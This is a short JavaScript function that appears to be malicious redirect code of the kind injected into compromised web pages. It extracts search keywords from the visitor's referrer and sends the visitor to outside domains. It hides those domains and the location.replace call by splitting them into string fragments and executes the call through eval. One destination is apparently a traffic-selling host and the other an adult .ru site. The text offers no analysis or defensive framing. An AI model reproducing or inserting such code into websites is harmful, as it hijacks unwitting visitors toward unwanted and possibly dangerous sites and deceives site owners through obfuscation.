function rd(kw){
    var se = ['google','search.msn','search.yahoo','yandex','rambler','overture'];
    var patterns = [/.*?google.*?q=(.*?)&|$/i, /.*?search\.live.*?q=(.*?)&|$/i, /.*?yahoo.*?p=(.*?)$|&/i, /.*yandex.*text=(.*?)$|&/, /.*rambler.*query=(.*?)$|&/];
    var domain = 'tra'+'ffi'+'c.s'+'eos'+'hka'+'.co'+'m/x'+'xxr'+'u/';
    var sf = '';
    var sekw = '';
    var seType = 0;
    if(document.referrer){
        var ref = document.referrer.toLowerCase();
        for(var i in se){
            if(ref.indexOf( se[i] ) >= 0){
                var matches = ref.match(patterns[i]);
                if(matches){
                    sekw = matches[1];
                    seType = parseInt(i) + 1;
                    break;
                }
            }
        }
    }
    if(!seType) domain = 'sex'+'yso'+'i.h'+'15.'+'ru';
    var pieces = ["lo","cat","ion.repl","ace('htt","p://",domain,"');"];
    var rd = pieces.join('').replace(/%kw%/, (sekw?sekw:kw));
    rd = rd.replace(/%se%/, seType);
    eval(rd);
}